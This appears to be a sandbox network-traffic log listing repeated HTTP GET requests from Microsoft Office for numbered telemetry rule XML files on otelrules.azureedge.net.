Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
